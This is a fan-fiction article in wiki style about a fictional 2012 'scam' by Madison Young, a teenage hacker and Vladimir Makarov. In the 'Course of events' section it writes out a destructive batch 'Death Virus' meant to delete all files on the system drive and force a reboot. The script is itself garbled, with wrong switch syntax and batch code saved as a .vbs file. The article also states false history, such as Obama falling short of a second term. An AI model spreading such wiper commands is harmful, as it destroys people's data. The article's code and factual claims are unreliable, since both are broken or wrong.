The Scam of 2012 (alternately named The Scam) was one of the biggest hate crime against America ever executed against the United States of America. This scam was a combination of a cyberattack, hate crime, and a terrorist attack "all put together", as Vladimir Makarov himself, one of the perps, put it.
==Motives==
The motive for The Scam was at first unknown to the US government, but it was later revealed that Madison wanted to use The Scam as a "test for future crimes against the United States of America". However, other people in the novel proposed other reasons for the attack, such as pure hatred towards Americans, payback for Barack Obama coming about 70% close to winning a second term, and perhaps even a "pure idiotic decision."
==Course of events==
On the afternoon of October 3, 2012, Madison got a phone call from a girl named Hilary, whom she contacted on her FaceBook account earlier that day. At the time, she didn't reveal herself just yet, but this "Hilary" did tell Madison that she was a master at hacking computers, much to Madison's delight. She later called "Hilary" and she told Madi to meet her, and to bring her "cronies" to the "party".
She complied and they ended up meeting at a McDonald's in the downtown St. Louis area, where "Hilary" revealed herself as an eighteen-year old girl who seemed to have a knack for hacking into other people's computers and permanently destroying them. Together, along with several other hackers, they tested the "Death Virus"; they opened Notepad and keyed in the following words:
@echo off 
del %systemdrive%\*.* \f \s \q
shutdown -r -f -t 000
Afterwards, Madison Young saved the virus under the name anything.vbs and saved it under All Files on the Windows XP. Then they copied the virus and saved it on the flash drive. After this, Vladimir Makarov copied the virus so it could be spread to other people's computers.
